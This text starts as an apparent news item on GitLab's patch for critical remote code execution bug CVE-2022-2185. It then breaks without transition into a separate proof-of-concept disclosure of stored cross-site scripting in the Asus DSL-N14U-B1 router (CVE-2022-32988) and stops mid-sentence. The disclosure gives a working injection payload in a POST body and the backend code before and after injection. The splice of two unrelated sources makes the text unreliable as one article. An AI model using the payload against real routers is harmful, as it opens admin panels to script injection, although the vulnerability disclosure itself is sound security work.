Users are urged to update to the latest version

  

Gitlab has patched a critical vulnerability that could allow an attacker to execute code remotely.

The security issue, which has been rated as critical, has been discovered in all versions of GitLab, starting from 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1.

An authenticated user could import a maliciously crafted project leading to remote code execution, an advisory from GitLab reads.

The bug (CVE-2022-2185) has been patched in the latest version.

**Multiple vulnerabilities**

Fixes for a number of other vulnerabilities were also released in the latest version, including two separate cross-site scripting (XSS) bugs.

More details about the patched vulnerabilities can be found in the Gitlab security advisory.

The security bugs affect both GitLab Community Edition and Enterprise Edition. Gitlab has recommended users upgrade to the latest version.

The advisory reads: “We strongly recommend that all installations running a version affected by the issues described below are upgraded to the latest version as soon as possible.

“When no specific deployment type (omnibus, source code, helm chart, etc.) of a product is mentioned, this means all types are affected.”

**CVE-2022-32988****Affected products**

We have not yet tested Asus models other than those listed. However we suspect it may also work on other models with the same firmware version.

        DSL-N14U_B1 V.1.1.2.3_805
        
    

**Overview**

In router **Asus DSL-N14U-B1 1.1.2.3\_805** was discovered to contain a stored cross-site scripting (XSS) vulnerability via the "*list" parameters (e.g. filter_lwlist, keyword_rulelist, etc) in every ".asp" page containing a list of stored strings (e.g. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp).

**POC**

Via a *list parameter (e.g. filter_lwlist, keyword_rulelist, etc) in every ".asp" page containing a list of stored strings (e.g. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp) the functions tcWebApi_get and TCWebApi_get are executed to generate dynamic JavaScript code.

E.g. filter_lwlist in /cgi-bin/Advanced_Firewall_Content.asp:  
Passing in the POST body:

    filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'
    

The backend code:

var wireless = \[\]; // \[\[MAC, associated, authorized\], ...\]
var filter\_lwlist\_array = '<% If tcWebApi\_get("IpMacFilter\_Entry","LtoW\_List","h") <> "" then  tcWebApi\_get("IpMacFilter\_Entry","LtoW\_List","s") end if %>';
function initial(){
        show\_menu();
        showfilter\_lwlist();    
        init\_setting();
        check\_Timefield\_checkbox();
        corrected\_timezone(DAYLIGHT\_orig, TZ\_orig);
}

becomes:

var wireless \= \[\]; // \[\[MAC, associated, authorized\], ...\]
var filter\_lwlist\_array \= '<192.168.2.2>443>192.168.2.2>443>TCP'+alert('XSS')+'';
function initial(){
	show\_menu();
	showfilter\_lwlist();	
	init\_setting();
	check\_Timefield\_checkbox();
	corrected\_timezone(DAYLIGHT\_orig, TZ\_orig);
}

Which is executed in the browser:  

In this router webpanel there are many list of strings submitted by user (e.g. to specify a list of blacklisted IP, a list of ip:port to forward, etc) and in every page tested has been possible to perform XSS. A list of vulnerable pages can be retrieved via:
